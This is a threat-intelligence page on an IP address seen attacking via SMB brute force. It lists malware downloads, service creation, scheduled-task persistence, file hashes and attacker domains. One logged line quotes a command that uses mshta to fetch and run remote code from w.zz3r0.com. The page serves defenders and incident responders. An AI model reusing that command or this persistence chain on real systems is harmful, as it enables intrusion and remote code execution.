Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 14.216.105.123Malicious

IP Address: 14.216.105.123Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Share Connect SMB Null Session Login Successful SMB Login Service Stop Access Share File Operation By CMD SMB Brute Force Service Creation Scheduled Task Creation DNS Query Download File Service Deletion CMD Access Suspicious Domain SMB Service Start Execute from Share

Associated Attack Servers

t.amynx.com w.zz3r0.com

Basic Information

IP Address

14.216.105.123

Domain

-

ISP

-

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2024-01-02

Last seen in Akamai Guardicore Segmentation

2024-01-04

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

C:\FPklWxVS.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\fpklwxvs.exe as a service named XeFb under service group None

Service Start Service Creation

fpklwxvs.exe was executed from the remote share \\server-backup\c$

Execute from Share

C:\windows\temp\svchost.exe was downloaded

Download File

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

Successful SMB Login SMB Brute Force

C:\yxcOUezR.exe was downloaded

Download File

yxcouezr.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\yxcouezr.exe as a service named wZPl under service group None

Service Start Service Creation

C:\windows\temp\tmp.vbs was downloaded

Download File

Service wZPl was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line c:\windows\KrOBqxa.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The command line c:\windows\pJlNWG.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 0739538b9a7b2a9f61608b63b3edbc7410e2620f17af862678ca3a36746cd7ab

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 0c12253e92b5c0daa1ea0f9527272552b56b3d3dfc5e4e57cbf80a0c68593fb9

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 11ff79de0a6cb0bd4f666fc5e9e240fcb78333bfde81038ff1402917e7ef9394

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 19ec15916d504dd9c9a4c2f05dfc0d6bd3d2e72ef8e8234a9deb601598fa15c3

130000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 26c6d231b6baa8ff2451590732f6aa42aa6eb84090e6b80e18b694fe0d2bfcc3

130000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 33f521173201fca51d66bacedf3f145fcf5bd0481fd16d0114a812b996bdd340

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 390d31175907a6b01f4a79277908be193a480e2f73accce72b842f52c2102acc

130000 bytes

C:\aAEEonwX.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes